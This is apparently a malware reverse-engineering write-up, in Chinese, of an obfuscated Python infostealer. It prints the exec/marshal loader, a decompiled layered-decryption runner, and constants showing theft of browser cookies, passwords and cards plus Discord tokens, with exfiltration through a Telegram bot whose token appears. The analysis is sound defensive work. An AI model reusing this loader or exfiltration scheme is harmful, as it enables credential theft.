罐頭
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # socure code 這是 https://gitlab[.]com/blackhat_code/software/-/raw/main/sup02.entrypoint 的內容,因為 payload 過長就稍微刪減,簡單來說只會執行第一行,後面的函式是沒有用處的,不太確定用途,可能是混淆。 ```python= exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode("c%1Cm*|PH5ognzVzu}zY<71~YU3.....)))) def sub_WIT6SW1PKB1LB42(): var_HR7V9MOX27BI3Y = 1113090554 var_0 = 4556397943 var_T75G4PC = "2MVB3KO9KNC5JITT8" var_5CPTN = "HGO3XVXWJV68P" var_CGHRW7 = 1101195565 var_C = 4575195798 var_Z4XXV = "A6G4I309" var_2IYM8Y6K7J96 = "F6DGRISR6FNS8" var_IKF8Y90 = "M2NVR5R6BVSNMO" var_OV9PO = 6045099441 var_4PIV6GB = "U2LPEMFESWWQY50" var_PY6KRHXCFS0E = "N672O6WR71AXF" var_ZZOSIH6PPP2 = 2172415156 var_F26U7X9 = 8849824626 var_0CG3UNG12 = "RPEPD5RA0C311O" def sub_33KH1MNDWUTYD4A(): var_0LA = 6876945669 var_KAF82YU2N7 = "6KDRE8R9ZWOE" var_NSO2SHF0JO2W1 = "9ZPDFRPUX6S" var_29VW8 = 4443912639 var_HO4VYTY5 = "7DH1CSNNCJN4" ....... ``` # stage 1 payload `exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode("c%1Cm*|PH5ognzVzu}zY<71~YU3.....))))` 這是主要 payload,因為有兩層,所以先叫做 stage 1。 他會直接執行 payload 內容,先將 payload 進行 base85 decode,再使用 zlib 解壓縮,最後使用 marshal 序列化將讀取的 byte object 轉換為 Python value。 在自己的環境(python 3.13)上執行,會遇到 marshal.loads 出現 `ValueError: bad marshal data (unknown type code)` 經過測試後需要使用特定版本才能執行,synaptics.exe 版本為 3.10.11 直接使用 docker 建立環境 > marshal 的格式不是跨版本穩定的: marshal 模組主要用於 Python 自身的內部用途(例如編譯 .py 檔案為 .pyc),而不是設計用於持久化數據或在不同 Python 版本之間交換數據。 by GPT ### dockerfile ```dockerfile= # 使用 Ubuntu 作为基础镜像 FROM ubuntu:22.04 # 更新系统并安装所需工具 RUN apt-get update && apt-get install -y --no-install-recommends \ software-properties-common \ curl \ wget \ gnupg \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* # 添加 deadsnakes PPA,用于安装特定版本的 Python RUN add-apt-repository ppa:deadsnakes/ppa -y && apt-get update # 安装 Python 3.10 和 pip RUN apt-get install -y --no-install-recommends \ python3.10 \ python3.10-venv \ python3.10-distutils \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* # 创建符号链接以简化 Python 和 pip 的调用 RUN ln -s /usr/bin/python3.10 /usr/bin/python && \ curl -sS https://bootstrap.pypa.io/get-pip.py | python # 设置工作目录(可选) WORKDIR /app # 进入容器时启动 bash shell CMD ["/bin/bash"] ``` ``` docker build -t ubuntu-python3.10 . docker run -it -v .:/app -w /app ubuntu-python3.10 ``` # deobfuscation ```python= print(marshal.loads(zlib.decompress(base64.b85decode(payload)))) ``` 會輸出 `<code object <module> at 0x7fcfe6063890, file "<string>", line 1>` > <code object \<module\> at 0x7fcfe6063890, file "\<string\>", line 1> 是 Python 中表示編譯後的字節碼對象 (code object) 的一種表現形式。這通常出現在執行 compile() 函數或從 marshal.loads() 加載字節碼時。 > by GPT 可以使用 dis 模組來反編譯 byte code,或是保存為 .pyc 文件然後使用工具進行反編譯,或是直接執行 ## dis ```python= code_object=marshal.loads(zlib.decompress(base64.b85decode(payload))) with open("disassembly.txt", "w") as f: if isinstance(code_object, type((lambda: None).__code__)): disassembly = dis.code_info(code_object) f.write(disassembly) f.write("\nDisassembled bytecode:\n") dis.dis(code_object, file=f) else: f.write("Decoded content is not a code object.\n") f.write(str(code_object)) ``` 需要人工反編譯 ## pyc ```python= with open("output.pyc", "wb") as f: f.write(b'\x6f\x0d\x0d\x0a') # PYC 文件的魔數 f.write(b'\x00' * 4) # 預留時間戳位 f.write(marshal.dumps(code_object)) ``` 存檔成 pyc 後可使用工具進行反編譯得到 source code,常見工具如下: 1. pip install decompyle3 2. pip install uncompyle6 3. snap install pycdc decompyle3 和 uncompyle6 跑起來都會出現 `assert iscode(co), f"""{co} does not smell like code""" AssertionError: None does not smell like code`,可能是 magic number 出錯 可對照此列表並轉換 ``` # Python 3.10a1: 3430 (Make ‘annotations’ future by default) # Python 3.10a1: 3431 (New line number table format – PEP 626) # Python 3.10a2: 3432 (Function annotation for MAKE_FUNCTION is changed from dict to tuple bpo-42202) # Python 3.10a2: 3433 (RERAISE restores f_lasti if oparg != 0) # Python 3.10a6: 3434 (PEP 634: Structural Pattern Matching) # Python 3.10a7: 3435 Use instruction offsets (as opposed to byte offsets). # Python 3.10b1: 3436 (Add GEN_START bytecode #43683) # Python 3.10b1: 3437 (Undo making ‘annotations’ future by default - We like to dance among core devs!) # Python 3.10b1: 3438 Safer line number table handling. # Python 3.10b1: 3439 (Add ROT_N) MAGIC_NUMBER = (3425).to_bytes(2, 'little') + b'\r\n' _RAW_MAGIC_NUMBER = int.from_bytes(MAGIC_NUMBER, 'little') # For import.c HEX_MAGIC_NUMBER = hex(_RAW_MAGIC_NUMBER) print(HEX_MAGIC_NUMBER) ``` 然後還是找不到正確的 magic number,最後找到這篇文章 [python - How to convert Marshall code object to PYC file - Stack Overflow](https://stackoverflow.com/questions/73439775/how-to-convert-marshall-code-object-to-pyc-file),直接存檔成 pyc,就可以成功執行 output.pyc ```python= import importlib pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code_object) print(pyc_data) with open('output.pyc', 'wb') as f: f.write(pyc_data) ``` 執行 output.pyc 看看,出現訊息及錯誤,缺少 win32crypt 模組,因為使用 ubuntu docker 環境執行,所以找不到此模組 ``` root@79c4b03f21cc:/app# python output.pyc ngu Traceback (most recent call last): File "<string>", line 17, in <module> ModuleNotFoundError: No module named 'win32crypt' ``` 使用 `xxd output.pyc | head` 可以看到 magic number 為 b'\x6f\x0d\x0d\x0a' 將上面的 magic number 修改後可以成功執行 pyc 嘗試執行 decompyle3 跟 uncompyle6 都出現以下資訊 ``` # decompyle3 version 3.9.2 # Python bytecode version base 3.10.0 (3439) # Decompiled from: Python 3.10.12 (main, Nov 6 2024, 20:22:13) [GCC 11.4.0] # Embedded file name: <string> Unsupported Python version, 3.10.0, for decompilation # Unsupported bytecode in file output.pyc # Unsupported Python version, 3.10.0, for decompilation ``` 因為目前的 python decompiler 都只支援到 3.9,因此無法處理 3.10 的 opcode。 最後找到幾個支援 3.10 的 decompiler 1. [zrax/pycdc: C++ python bytecode disassembler and decompiler](https://github.com/zrax/pycdc) - 需要自行編譯,或是找他人編譯好的執行檔 - [pycdc工具编译使用(纯小白篇,大师傅自动略过) - 吾爱破解 - 52pojie.cn](https://www.52pojie.cn/thread-1854345-1-1.html) - [GitHub - extremecoders-re/decompyle-builds: Precompiled Decompyle++ (pycdc) binaries for Windows & Linux](https://github.com/extremecoders-re/decompyle-builds) - pycdas 可以查看 dis code 3. [greyblue9/unpyc37-3.10: Minor tweaks to get this excellent Python bytecode decompiler running under Python 3.8-3.10](https://github.com/greyblue9/unpyc37-3.10) - 可以指定要反編譯的區段 5. [PyLingual](https://pylingual.io/) - 線上工具 - 相比上面兩種效果更好,但需要等待一段時間 - 可能會失敗,且沒有錯誤訊息可以查看 使用 unpyc.unpyc3 出現以下錯誤 ``` root@79c4b03f21cc:/app/unpyc37-3.10# python3 -m unpyc.unpyc3 ../output.pyc Traceback (most recent call last): File "/usr/local/lib/python3.10/dist-packages/unpyc/unpyc3.py", line 2005, in run new_addr = method(*args) File "/usr/local/lib/python3.10/dist-packages/unpyc/unpyc3.py", line 2382, in POP_TOP val = self.stack.pop() File "/usr/local/lib/python3.10/dist-packages/unpyc/unpyc3.py", line 333, in pop return self.pop1() File "/usr/local/lib/python3.10/dist-packages/unpyc/unpyc3.py", line 327, in pop1 raise Exception('Empty stack popped!') Exception: Empty stack popped! Traceback (most recent call last): File "/usr/local/lib/python3.10/dist-packages/unpyc/unpyc3.py", line 2004, in run method = getattr(self, opname[opcode]) AttributeError: 'SuiteDecompiler' object has no attribute 'RERAISE' try: try: pass finally: pass finally: pass ``` pycdc 也出現相同錯誤 ``` ./pycdc ../output.pyc # Source Generated with Decompyle++ # File: output.pyc (Python 3.10) Unsupported opcode: RERAISE (209) # WARNING: Decompyle incomplete ``` > Python 3.10 中引入的操作碼 RERAISE 專門用於改進異常回溯的處理([PEP 626](https://peps.python.org/pep-0626/))。 > by GPT # stage 1 source code 最後使用 PyLingual 跑了快一個小時終於跑完了 可在此查看 source code -> [output.pyc - PyLingual](https://pylingual.io/view_chimera?identifier=91562d317d0d8d53ca77274ed7c9e13fd51e76fdf0a4353df26f632a185caaeb) ```python= try: try: break except: pass pass try: '''Decompiler error: line too long for translation. Please decompile this statement manually.''' except: print('ngu') finally: # inserted int(2) import os import json import base64 import sqlite3 import shutil import requests import glob import re import zipfile import io import datetime import hmac import subprocess import zlib from websocket import create_connection from base64 import b64decode from hashlib import sha1, pbkdf2_hmac from pathlib import Path from pyasn1.codec.der.decoder import decode from Crypto.Cipher import AES, DES3, PKCS1_OAEP from Crypto.PublicKey import RSA from win32crypt import CryptUnprotectData from ctypes import windll, byref, create_unicode_buffer, pointer, WINFUNCTYPE from ctypes.wintypes import DWORD, WCHAR, UINT def decompress(code_bytes: bytes) -> bytes: return zlib.decompress(code_bytes) def rc4(data, key): S = list(range(256)) j = 0 out = [] for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = (S[j], S[i]) i = j = 0 for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = (S[j], S[i]) out.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(out) def aes_decrypt(data, key): nonce = data[:16] ciphertext = data[16:] cipher = AES.new(key, AES.MODE_EAX, nonce=nonce) return cipher.decrypt(ciphertext) def xor(data, key): return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)]) def rsa_decrypt(data, private_key): rsa_cipher = PKCS1_OAEP.new(RSA.import_key(private_key)) return rsa_cipher.decrypt(data) def hybrid_decrypt(base85_encoded_data, rsa_private_key): compressed_data = base64.b85decode(base85_encoded_data) encrypted_data = decompress(compressed_data) rsa_encrypted_key = encrypted_data[:256] aes_encrypted = encrypted_data[256:] combined_key = rsa_decrypt(rsa_encrypted_key, rsa_private_key) rc4_key = combined_key[:16] xor_key = combined_key[16:32] aes_key = combined_key[32:48] xor_encrypted = aes_decrypt(aes_encrypted, aes_key) rc4_encrypted = xor(xor_encrypted, xor_key) decrypted_data = rc4(rc4_encrypted, rc4_key) return decrypted_data private_key = base64.b64decode('# private_key payload') def runner(byte_code_data): import marshal import types code_object = marshal.loads(byte_code_data) exceute_func = types.FunctionType(code_object, globals()) exceute_func() code= '# stage 2 payload' runner(code) ``` ![image](https://hackmd.io/_uploads/Syt632vD1l.png) 查看程式可以看到將重要部分都還原了,開頭會進行許多的 loop 以及 try,並輸出 nug 字串 輸出 payload 部分 `print(code_object)` 會出現 `<code object <module> at 0x7f3686af39f0, file "<string>", line 1>`,這是第二層 payload 一樣將這些程式重複上述動作,這個檔案就是最後的 payload 了,沒有再一層混淆 # stage2 payload 稍微修改一下程式,在 runner function 中插入下面程式碼,匯出 dis code 跟直接匯出成 pyc ```python= with open("sup02_disassembly.txt", "w") as f: if isinstance(code_object, type((lambda: None).__code__)): disassembly = dis.code_info(code_object) f.write(disassembly) f.write("\nDisassembled bytecode:\n") dis.dis(code_object, file=f) else: f.write("Decoded content is not a code object.\n") f.write(str(code_object)) import importlib pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code_object) print(pyc_data) with open('sup02_stage2.pyc', 'wb') as f: f.write(pyc_data) ``` 後來再次嘗試使用 unpyc.unpyc3 [start [end]] `python3 -m unpyc.unpyc3 ../stage2.pyc 9` 可以成功反編譯,出現 ``` try: try: 1/int(0) 1/int(0) 1/int(0) . . . . . 1/int(0) ngocuyencoder = () finally: pass finally: pass ``` 但嘗試修改 start 與 end 的參數,還是無法成功編譯其他內容,會持續輸出 1/int(0) 即使使用 PyLingual,也會在最後的 Correcting Segmentation Errors 階段遇到錯誤無法成功輸出 似乎是某種 anti-disassembly 技術? ![image](https://hackmd.io/_uploads/SJuc1fKDyl.png) ![image](https://hackmd.io/_uploads/HyI4OMYwJx.png) > 後來在手工反編譯程式碼時覺得出現 `ngocuyencoder = ()` 很奇怪,主要程式都沒有出現此變數,搜尋後找到此專案 [GitHub - hngocuyen/velimatix-obfuscator: A best AST outsource obfuscation by ngocuyencoder and minhnguyen2412](https://github.com/hngocuyen/velimatix-obfuscator),為進行 python 混淆的工具 > 作者是越南人,且提到具有 Anti-Pycdc 的功能 Our obfuscation effectively counters Pycdc (PYC Decompiler). Although some have attempted to customize Pycdc to bypass our anti-measures, they have been unsuccessful. Here’s an example of typical bypass code: > ```python >try: > pass > except: > pass > finally: > pass > ``` > 無法直接判斷攻擊者是否與專案作者為同一人 這裡直接使用 dis 來查看內容,可以看到以下的常數字串 ``` Constants: 0: 1 1: 0 2: 'ngu' 3: 2 4: None 5: ('create_connection',) 6: ('b64decode',) 7: ('sha1', 'pbkdf2_hmac') 8: ('Path',) 9: ('decode',) 10: ('AES', 'DES3') 11: ('CryptUnprotectData',) 12: ('windll', 'byref', 'create_unicode_buffer', 'pointer', 'WINFUNCTYPE') 13: ('DWORD', 'WCHAR', 'UINT') 14: 'LOCALAPPDATA' 15: 'APPDATA' 16: 'TEMP' 17: '\\AppData' 18: '\\' 19: 'COMPUTERNAME' 20: 'defaultValue' 21: '7688244721:AAEuVdGvEt2uIYmzQjJmSJX1JKFud9pr1XI' 22: '-1002426006531' 23: '-1002489276039' 24: '%d-%m-%Y (%H:%M:%S)' 25: 'Chromium' 26: '\\Chromium\\User Data' 27: 'Thorium' 28: '\\Thorium\\User Data' 29: 'Chrome' 30: '\\Google\\Chrome\\User Data' 31: 'Chrome (x86)' 32: '\\Google(x86)\\Chrome\\User Data' 33: 'Chrome SxS' 34: '\\Google\\Chrome SxS\\User Data' 35: 'Maple' 36: '\\MapleStudio\\ChromePlus\\User Data' 37: 'Iridium' 38: '\\Iridium\\User Data' 39: '7Star' 40: '\\7Star\\7Star\\User Data' 41: 'CentBrowser' 42: '\\CentBrowser\\User Data' 43: 'Chedot' 44: '\\Chedot\\User Data' 45: 'Vivaldi' 46: '\\Vivaldi\\User Data' 47: 'Kometa' 48: '\\Kometa\\User Data' 49: 'Elements' 50: '\\Elements Browser\\User Data' 51: 'Epic Privacy Browser' 52: '\\Epic Privacy Browser\\User Data' 53: 'Uran' 54: '\\uCozMedia\\Uran\\User Data' 55: 'Fenrir' 56: '\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer' 57: 'Catalina' 58: '\\CatalinaGroup\\Citrio\\User Data' 59: 'Coowon' 60: '\\Coowon\\Coowon\\User Data' 61: 'Liebao' 62: '\\liebao\\User Data' 63: 'QIP Surf' 64: '\\QIP Surf\\User Data' 65: 'Orbitum' 66: '\\Orbitum\\User Data' 67: 'Dragon' 68: '\\Comodo\\Dragon\\User Data' 69: '360Browser' 70: '\\360Browser\\Browser\\User Data' 71: 'Maxthon' 72: '\\Maxthon3\\User Data' 73: 'K-Melon' 74: '\\K-Melon\\User Data' 75: 'CocCoc' 76: '\\CocCoc\\Browser\\User Data' 77: 'Brave' 78: '\\BraveSoftware\\Brave-Browser\\User Data' 79: 'Amigo' 80: '\\Amigo\\User Data' 81: 'Torch' 82: '\\Torch\\User Data' 83: 'Sputnik' 84: '\\Sputnik\\Sputnik\\User Data' 85: 'Edge' 86: '\\Microsoft\\Edge\\User Data' 87: 'DCBrowser' 88: '\\DCBrowser\\User Data' 89: 'Yandex' 90: '\\Yandex\\YandexBrowser\\User Data' 91: 'UR Browser' 92: '\\UR Browser\\User Data' 93: '\\Slimjet\\User Data' 94: '\\Opera Software\\Opera Stable' 95: '\\Opera Software\\Opera GX Stable' 96: '\\Local\\360chrome\\Chrome\\User Data' 97: '\\Local\\Tencent\\QQBrowser\\User Data' 98: '\\SogouExplorer\\Webkit' 99: '\\discord' 100: '\\discordcanary' 101: '\\Lightcord' 102: '\\discordptb' 103: ('Slimjet', 'Opera', 'OperaGX', 'Speed360', 'QQBrowser', 'Sogou', 'Discord', 'Discord Canary', 'Lightcord', 'Discord PTB') 104: <code object installed_ch_dc_browsers at 0x7f3e8a631e70, file "<string>", line 81> 105: 'installed_ch_dc_browsers' 106: <code object get_ch_master_key at 0x7f3e8a631bb0, file "<string>", line 88> 107: 'get_ch_master_key' 108: <code object decrypt_ch_value at 0x7f3e8a632080, file "<string>", line 105> 109: 'decrypt_ch_value' 110: <code object decrypt_aes at 0x7f3e8a6324a0, file "<string>", line 120> 111: 'decrypt_aes' 112: <code object decrypt3DES at 0x7f3e8a632550, file "<string>", line 136> 113: 'decrypt3DES' 114: '' 115: 'directory' 116: <code object getKey at 0x7f3e8a632600, file "<string>", line 148> 117: 'getKey' 118: <code object PKCS7unpad at 0x7f3e8a6326b0, file "<string>", line 183> 119: 'PKCS7unpad' 120: <code object decodeLoginData at 0x7f3e8a632760, file "<string>", line 186> 121: 'decodeLoginData' 122: <code object Facebook at 0x7f3e8a632fa0, file "<string>", line 195> 123: 'Facebook' 124: 234 125: 'percent_complete' 126: 'return' 127: <code object callback at 0x7f3e8a633050, file "<string>", line 367> 128: 'callback' 129: 'Rstrtmgr' 130: <code object Unlock_Cookies at 0x7f3e8a633100, file "<string>", line 373> 131: 'Unlock_Cookies' 132: <code object save_gck_login_data at 0x7f3e8a6331b0, file "<string>", line 410> 133: 'save_gck_login_data' 134: <code object get_gck_basepath at 0x7f3e8a633260, file "<string>", line 441> 135: 'get_gck_basepath' 136: <code object get_gck_profiles at 0x7f3e8a6333c0, file "<string>", line 455> 137: 'get_gck_profiles' 138: <code object get_ch_login_data at 0x7f3e8a633520, file "<string>", line 469> 139: 'get_ch_login_data' 140: <code object get_ch_cookies at 0x7f3e8a633680, file "<string>", line 496> 141: 'get_ch_cookies' 142: <code object process_facebook_cookies at 0x7f3e8a633730, file "<string>", line 565> 143: 'process_facebook_cookies' 144: <code object save_gck_cookies at 0x7f3e8a6337e0, file "<string>", line 576> 145: 'save_gck_cookies' 146: <code object get_ch_ccards at 0x7f3e8a633890, file "<string>", line 626> 147: 'get_ch_ccards' 148: 'Firefox' 149: 'Pale Moon' 150: 'SeaMonkey' 151: 'Waterfox' 152: 'Mercury' 153: ('Firefox', 'Pale Moon', 'SeaMonkey', 'Waterfox', 'Mercury') 154: 'Profile*' 155: 'Default' 156: ('Opera', 'Opera GX') 157: <code object GetIP at 0x7f3e8a633940, file "<string>", line 714> 158: 'GetIP' 159: <code object Counter at 0x7f3e8a6339f0, file "<string>", line 728> 160: 'Counter' 161: '[' 162: '_' 163: '] ' 164: '.zip' 165: 'w' 166: 9 167: ('compresslevel',) 168: 'Time Created: ' 169: '\nContact: https://t.me/Xmeta' 170: 'wb' 171: '\nUser: ' 172: '\nBrowser Data: CK: ' 173: '|PW: ' 174: '|CC: ' 175: '\n' 176: 10 177: 'rb' 178: 'https://api.telegram.org/bot' 179: '/sendDocument' 180: True 181: ('chat_id', 'caption', 'protect_content', 'disable_web_page_preview') 182: 'document' 183: ('params', 'files') 184: ('ignore_errors',) 185: (None,) 186: ('',) ``` 可以直接看到一些函式與字串,如 - https://api.telegram.org/bot - https://t.me/Xmeta - get_ch_cookies - /sendDocument 也得知 telegram bot api 的 token # stage 2 deobfuscation 手動 這段是介紹如何將 python byte code 轉換成 source code,可以跳過不看 已經知道前面的部分為 try..finally 區塊,直接忽略不看 往下找到原始程式的第七行可以看到 `print('nug')` ```python 7 >> 120044 POP_TOP 120046 POP_TOP 120048 POP_TOP 120050 LOAD_NAME 2 (print) 120052 LOAD_CONST 2 ('ngu') 120054 CALL_FUNCTION 1 120056 POP_TOP 120058 POP_EXCEPT >> 120060 POP_BLOCK ``` 從第九行開始看,這是在進行 import ```python 120086 IMPORT_NAME 3 (os) 120088 STORE_NAME 3 (os) ``` 表示 `import os` ```python 15 120250 LOAD_CONST 1 (0) 120252 LOAD_CONST 10 (('AES', 'DES3')) 120254 IMPORT_NAME 26 (Crypto.Cipher) 120256 IMPORT_FROM 27 (AES) 120258 STORE_NAME 27 (AES) 120260 IMPORT_FROM 28 (DES3) 120262 STORE_NAME 28 (DES3) 120264 POP_TOP ``` `from Crypto.Cipher import AES,DES3` --- ```python= 21 120342 LOAD_NAME 3 (os) 120344 LOAD_METHOD 44 (getenv) 120346 LOAD_CONST 14 ('LOCALAPPDATA') 120348 CALL_METHOD 1 120350 STORE_NAME 45 (LocalAppData) ``` CALL_METHOD 表示呼叫 os.getenv 這個函式,並傳入參數 'LOCALAPPDATA',存到變數 LocalAppData `LocalAppData = os.getenv('LOCALAPPDATA')` --- ```python= 25 120386 LOAD_NAME 47 (TMP) 120388 FORMAT_VALUE 0 120390 LOAD_CONST 18 ('\\') 120392 LOAD_NAME 3 (os) 120394 LOAD_METHOD 44 (getenv) 120396 LOAD_CONST 19 ('COMPUTERNAME') 120398 LOAD_CONST 20 ('defaultValue') 120400 CALL_METHOD 2 120402 FORMAT_VALUE 0 120404 BUILD_STRING 3 120406 STORE_NAME 50 (Data_Path) ``` FORMAT_VALUE 0: Formats the value of TMP. The formatting flag 0 indicates no special formatting is applied. BUILD_STRING 3: Combines three elements (the formatted TMP, '\\', and the formatted computer name) into a single string. `Data_Path = f"{TMP}\\{os.getenv('COMPUTERNAME', 'defaultValue')}"` --- ```python= 31 120420 BUILD_LIST 0 120422 STORE_NAME 54 (browsers) ``` `browsers=[]` --- ```python= 34 120440 BUILD_MAP 0 35 120442 LOAD_CONST 25 ('Chromium') 120444 LOAD_NAME 45 (LocalAppData) 120446 FORMAT_VALUE 0 120448 LOAD_CONST 26 ('\\Chromium\\User Data') 120450 BUILD_STRING 2 34 120452 MAP_ADD 1 ``` 建立一個 dict 但沒給予變數名稱 要往下找 可以看到 ```python= 34 120934 LOAD_CONST 103 (('Slimjet', 'Opera', 'OperaGX', 'Speed360', 'QQBrowser', 'Sogou', 'Discord', 'Discord Canary', 'Lightcord', 'Discord PTB')) 120936 BUILD_CONST_KEY_MAP 10 120938 DICT_UPDATE 1 120940 STORE_NAME 58 (ch_dc_browsers) ``` 將此 dict 命名為 ch_dc_browsers --- ```python= 81 120942 LOAD_CONST 104 (<code object installed_ch_dc_browsers at 0xffffa23bcb30, file "<string>", line 81>) 120944 LOAD_CONST 105 ('installed_ch_dc_browsers') 120946 MAKE_FUNCTION 0 120948 STORE_NAME 59 (installed_ch_dc_browsers) ``` MAKE_FUNCTION 建立一個 function `def installed_ch_dc_browsers():` --- ```python= 105 120958 LOAD_CONST 185 ((None,)) 120960 LOAD_CONST 108 (<code object decrypt_ch_value at 0xffffa23bcd40, file "<string>", line 105>) 120962 LOAD_CONST 109 ('decrypt_ch_value') 120964 MAKE_FUNCTION 1 (defaults) 120966 STORE_NAME 61 (decrypt_ch_value) ``` MAKE_FUNCTION 1 表示有預設值 `def decrypt_ch_value(arg=None):` --- ```python= 195 121016 LOAD_BUILD_CLASS 121018 LOAD_CONST 122 (<code object Facebook at 0xffffa23bdd10, file "<string>", line 195>) 121020 LOAD_CONST 123 ('Facebook') 121022 MAKE_FUNCTION 0 121024 LOAD_CONST 123 ('Facebook') 121026 CALL_FUNCTION 2 121028 STORE_NAME 67 (Facebook) ``` LOAD_BUILD_CLASS 定義一個 class 叫 facebook --- ```python= 658 121152 LOAD_NAME 77 (get_gck_profiles) 121154 LOAD_NAME 76 (get_gck_basepath) 121156 LOAD_CONST 148 ('Firefox') 121158 CALL_FUNCTION 1 121160 CALL_FUNCTION 1 ``` `get_gck_profiles(get_gck_basepath('Firefox'))` --- ```python= 678 121246 LOAD_NAME 92 (available_path) 121248 GET_ITER >> 121250 FOR_ITER 101 (to 121454) 121252 STORE_NAME 93 (browser) ``` 是 for loop `for browser in available_path:` --- ```python= 679 121254 LOAD_NAME 58 (ch_dc_browsers) 121256 LOAD_NAME 93 (browser) 121258 BINARY_SUBSCR 121260 STORE_NAME 94 (browser_path) ``` ` browser_path=ch_dc_browsers[browser]` --- ```python= 755 121724 SETUP_FINALLY 21 (to 121768) 756 121726 LOAD_NAME 3 (os) 121728 LOAD_ATTR 96 (path) 121730 LOAD_METHOD 97 (join) 121732 LOAD_NAME 126 (root) 121734 LOAD_NAME 129 (name) 121736 CALL_METHOD 2 121738 STORE_NAME 130 (file_path) 757 121740 LOAD_NAME 122 (zip_file) 121742 LOAD_METHOD 131 (write) 121744 LOAD_NAME 130 (file_path) 121746 LOAD_NAME 3 (os) 121748 LOAD_ATTR 96 (path) 121750 LOAD_METHOD 132 (relpath) 121752 LOAD_NAME 130 (file_path) 121754 LOAD_NAME 50 (Data_Path) 121756 CALL_METHOD 2 121758 CALL_METHOD 2 121760 POP_TOP 121762 POP_BLOCK 121764 EXTENDED_ARG 237 121766 JUMP_ABSOLUTE 60860 (to 121720) 758 >> 121768 POP_TOP 121770 POP_TOP 121772 POP_TOP 759 121774 POP_EXCEPT 121776 EXTENDED_ARG 237 121778 JUMP_ABSOLUTE 60860 (to 121720) 754 >> 121780 EXTENDED_ARG 237 121782 JUMP_ABSOLUTE 60853 (to 121706) 753 >> 121784 POP_BLOCK 750 121786 LOAD_CONST 4 (None) 121788 DUP_TOP 121790 DUP_TOP 121792 CALL_FUNCTION 3 121794 POP_TOP 121796 JUMP_FORWARD 9 (to 121816) >> 121798 WITH_EXCEPT_START 121800 EXTENDED_ARG 237 121802 POP_JUMP_IF_TRUE 60903 (to 121806) 121804 RERAISE 1 >> 121806 POP_TOP 121808 POP_TOP 121810 POP_TOP 121812 POP_EXCEPT 121814 POP_TOP 761 >> 121816 LOAD_NAME 133 (open) 121818 LOAD_NAME 119 (archive_path) 121820 LOAD_CONST 170 ('wb') 121822 CALL_FUNCTION 2 121824 SETUP_WITH 15 (to 121856) 121826 STORE_NAME 134 (f) ``` 這段有點複雜 121724 SETUP_FINALLY 建立一個 try except for loop 如果結束會跳到 121766 JUMP_ABSOLUTE 60860 (to 121720) 121720 FOR_ITER 29 (to 121780) 是 for 迴圈 WITH_EXCEPT_START 為 except 區塊開始 如果 try 錯誤時,會跳過去 JUMP_FORWARD 9 (to 121816) 121816 LOAD_NAME 133 (open) 處理檔案 ```python= for name in files: try: file_path=os.path.join(root,name) zip_file.write(file_path,os.path.relpath(file_path, Data_Path)) except Exception as e: pass with open(archive_path,'wb') as f: ``` --- ```python= 124 96 LOAD_FAST 5 (key_length) 98 LOAD_CONST 4 (32) 100 COMPARE_OP 2 (==) 102 POP_JUMP_IF_TRUE 54 (to 108) 104 LOAD_ASSERTION_ERROR 106 